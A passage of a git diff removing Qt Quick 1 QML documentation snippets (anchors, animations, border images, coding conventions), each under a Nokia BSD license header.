POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Item { - id: container - width: 200; height: 200 - - Rectangle { - id: myRect - width: 100; height: 100 - color: "red" - } - - states: State { - name: "reanchored" - AnchorChanges { target: myRect; anchors.right: container.right } - } - - transitions: Transition { - // smoothly reanchor myRect and move into new position - AnchorAnimation { duration: 1000 } - } - - Component.onCompleted: container.state = "reanchored" -} -//![0] diff --git a/doc/src/snippets/qtquick1/anchorchanges.qml b/doc/src/snippets/qtquick1/anchorchanges.qml deleted file mode 100644 index 360bdfb07c..0000000000 --- a/doc/src/snippets/qtquick1/anchorchanges.qml +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - id: window - width: 120; height: 120 - color: "black" - - Rectangle { id: myRect; width: 50; height: 50; color: "red" } - - states: State { - name: "reanchored" - - AnchorChanges { - target: myRect - anchors.top: window.top - anchors.bottom: window.bottom - } - PropertyChanges { - target: myRect - anchors.topMargin: 10 - anchors.bottomMargin: 10 - } - } - - MouseArea { anchors.fill: parent; onClicked: window.state = "reanchored" } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/animatedimage.qml b/doc/src/snippets/qtquick1/animatedimage.qml deleted file mode 100644 index a8b742e4cd..0000000000 --- a/doc/src/snippets/qtquick1/animatedimage.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -// This snippet should be turned into an example and put in -// examples/declarative/imageelements/animatedimage - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: animation.width; height: animation.height + 8 - - AnimatedImage { id: animation; source: "animation.gif" } - - Rectangle { - property int frames: animation.frameCount - - width: 4; height: 8 - x: (animation.width - width) * animation.currentFrame / frames - y: animation.height - color: "red" - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/animation.qml b/doc/src/snippets/qtquick1/animation.qml deleted file mode 100644 index 7f40d11753..0000000000 --- a/doc/src/snippets/qtquick1/animation.qml +++ /dev/null @@ -1,226 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//! [document] -import QtQuick 1.0 - - -//! [parent begin] -Rectangle { -//! [parent begin] - width: 200; height: 600 - id: screen - -Column { - spacing: 12 -//! [direct property change] -Rectangle { - id: blob - width: 75; height: 75 - color: "blue" - - MouseArea { - anchors.fill: parent - onClicked: blob.color = "green" - } -} -//! [direct property change] - -//! [property animation] -Rectangle { - id: flashingblob - width: 75; height: 75 - color: "blue" - opacity: 1.0 - - MouseArea { - anchors.fill: parent - onClicked: { - animateColor.start() - animateOpacity.start() - } - } - - PropertyAnimation {id: animateColor; target: flashingblob; properties: "color"; to: "green"; duration: 100} - - NumberAnimation { - id: animateOpacity - target: flashingblob - properties: "opacity" - from: 0.99 - to: 1.0 - loops: Animation.Infinite - easing {type: Easing.OutBack; overshoot: 500} - } -} -//! [property animation] - -//! [transition animation] -Rectangle { - width: 75; height: 75 - id: button - state: "RELEASED" - - MouseArea { - anchors.fill: parent - onPressed: button.state = "PRESSED" - onReleased: button.state = "RELEASED" - } - - states: [ - State { - name: "PRESSED" - PropertyChanges { target: button; color: "lightblue"} - }, - State { - name: "RELEASED" - PropertyChanges { target: button; color: "lightsteelblue"} - } - ] - - transitions: [ - Transition { - from: "PRESSED" - to: "RELEASED" - ColorAnimation { target: button; duration: 100} - }, - Transition { - from: "RELEASED" - to: "PRESSED" - ColorAnimation { target: button; duration: 100} - } - ] -} -//! [transition animation] - -Rectangle { - width: 75; height: 75 - id: wildcard - color: "green" -//! [wildcard animation] - transitions: - Transition { - to: "*" - ColorAnimation { target: button; duration: 100} - } -//! [wildcard animation] - - MouseArea { - anchors.fill: parent - onPressed: { - ball.x = 10 - ball.color = "red" - } - onReleased: { - ball.x = screen.width / 2 - ball.color = "salmon" - } - } -} - -//! [behavior animation] -Rectangle { - width: 75; height: 75; radius: width - id: ball - color: "salmon" - - Behavior on x { - NumberAnimation { - id: bouncebehavior - easing { - type: Easing.OutElastic - amplitude: 1.0 - period: 0.5 - } - } - } - Behavior on y { - animation: bouncebehavior - } - Behavior { - ColorAnimation { target: ball; duration: 100 } - } -} -//! [behavior animation] - -//! [sequential animation] -Rectangle { - id: banner - width: 150; height: 100; border.color: "black" - - Column { - anchors.centerIn: parent - Text { - id: code - text: "Code less." - opacity: 0.01 - } - Text { - id: create - text: "Create more." - opacity: 0.01 - } - Text { - id: deploy - text: "Deploy everywhere." - opacity: 0.01 - } - } - - MouseArea { - anchors.fill: parent - onPressed: playbanner.start() - } - - SequentialAnimation { - id: playbanner - running: false - NumberAnimation { target: code; property: "opacity"; to: 1.0; duration: 200} - NumberAnimation { target: create; property: "opacity"; to: 1.0; duration: 200} - NumberAnimation { target: deploy; property: "opacity"; to: 1.0; duration: 200} - } -} -//! [sequential animation] - -}//end of col -//! [parent end] -} -//! [parent end] - -//! [document] diff --git a/doc/src/snippets/qtquick1/application.qml b/doc/src/snippets/qtquick1/application.qml deleted file mode 100644 index 47bc579208..0000000000 --- a/doc/src/snippets/qtquick1/application.qml +++ /dev/null @@ -1,53 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.1 - -Rectangle { - width: 300; height: 55 - color: Qt.application.active ? "white" : "lightgray" - Text { - text: "Application " + (Qt.application.active ? "active" : "inactive") - opacity: Qt.application.active ? 1.0 : 0.5 - anchors.centerIn: parent - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/behavior.qml b/doc/src/snippets/qtquick1/behavior.qml deleted file mode 100644 index bf38572600..0000000000 --- a/doc/src/snippets/qtquick1/behavior.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - Behavior on width { - NumberAnimation { duration: 1000 } - } - - MouseArea { - anchors.fill: parent - onClicked: rect.width = 50 - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml b/doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml deleted file mode 100644 index 5e892e46c7..0000000000 --- a/doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - color: "white" - width: 180; height: 180 - -//! [scaled border image] -BorderImage { - width: 180; height: 180 - border { left: 30; top: 30; right: 30; bottom: 30 } - horizontalTileMode: BorderImage.Stretch - verticalTileMode: BorderImage.Stretch - source: "pics/borderframe.png" -} -//! [scaled border image] - - Rectangle { - x: 30; y: 0 - width: 1; height: 180 - color: "gray" - } - - Rectangle { - x: 150; y: 0 - width: 1; height: 180 - color: "gray" - } - - Rectangle { - x: 0; y: 30 - width: 180; height: 1 - color: "gray" - } - - Rectangle { - x: 0; y: 150 - width: 180; height: 1 - color: "gray" - } -} diff --git a/doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml b/doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml deleted file mode 100644 index 3c0b6fb451..0000000000 --- a/doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - color: "white" - width: 180; height: 180 - -//! [tiled border image] -BorderImage { - width: 180; height: 180 - border { left: 30; top: 30; right: 30; bottom: 30 } - horizontalTileMode: BorderImage.Repeat - verticalTileMode: BorderImage.Repeat - source: "pics/borderframe.png" -} -//! [tiled border image] - - Rectangle { - x: 30; y: 0 - width: 1; height: 180 - color: "gray" - } - - Rectangle { - x: 150; y: 0 - width: 1; height: 180 - color: "gray" - } - - Rectangle { - x: 0; y: 30 - width: 180; height: 1 - color: "gray" - } - - Rectangle { - x: 0; y: 150 - width: 180; height: 1 - color: "gray" - } -} diff --git a/doc/src/snippets/qtquick1/borderimage/normal-image.qml b/doc/src/snippets/qtquick1/borderimage/normal-image.qml deleted file mode 100644 index 77f5727bcf..0000000000 --- a/doc/src/snippets/qtquick1/borderimage/normal-image.qml +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - color: "white" - width: 120; height: 120 - -//! [normal image] -Image { - source: "pics/borderframe.png" -} -//! [normal image] - - Rectangle { - x: 30; y: 0 - width: 1; height: 120 - color: "gray" - } - - Rectangle { - x: 90; y: 0 - width: 1; height: 120 - color: "gray" - } - - Rectangle { - x: 0; y: 30 - width: 200; height: 1 - color: "gray" - } - - Rectangle { - x: 0; y: 90 - width: 200; height: 1 - color: "gray" - } -} diff --git a/doc/src/snippets/qtquick1/codingconventions/dotproperties.qml b/doc/src/snippets/qtquick1/codingconventions/dotproperties.qml deleted file mode 100644 index 07e331af46..0000000000 --- a/doc/src/snippets/qtquick1/codingconventions/dotproperties.qml +++ /dev/null @@ -1,68 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - -//! [0] -Rectangle { - anchors.left: parent.left; anchors.top: parent.top; anchors.right: parent.right; anchors.leftMargin: 20 -} - -Text { - text: "hello" - font.bold: true; font.italic: true; font.pixelSize: 20; font.capitalization: Font.AllUppercase -} - -//! [0] - -//! [1] -Rectangle { - anchors { left: parent.left; top: parent.top; right: parent.right; leftMargin: 20 } -} - -Text { - text: "hello" - font { bold: true; italic: true; pixelSize: 20; capitalization: Font.AllUppercase } -} -//! [1] - -} diff --git a/doc/src/snippets/qtquick1/codingconventions/javascript-imports.qml b/doc/src/snippets/qtquick1/codingconventions/javascript-imports.qml deleted file mode 100644 index bf820c5b45..0000000000 --- a/doc/src/snippets/qtquick1/codingconventions/javascript-imports.qml +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//![0] -import "myscript.js" as Script - -Rectangle { color: "blue"; width: Script.calculateWidth(parent) } -//![0] diff --git a/doc/src/snippets/qtquick1/codingconventions/javascript.qml b/doc/src/snippets/qtquick1/codingconventions/javascript.qml deleted file mode 100644 index 6869dd83f2..0000000000 --- a/doc/src/snippets/qtquick1/codingconventions/javascript.qml +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR 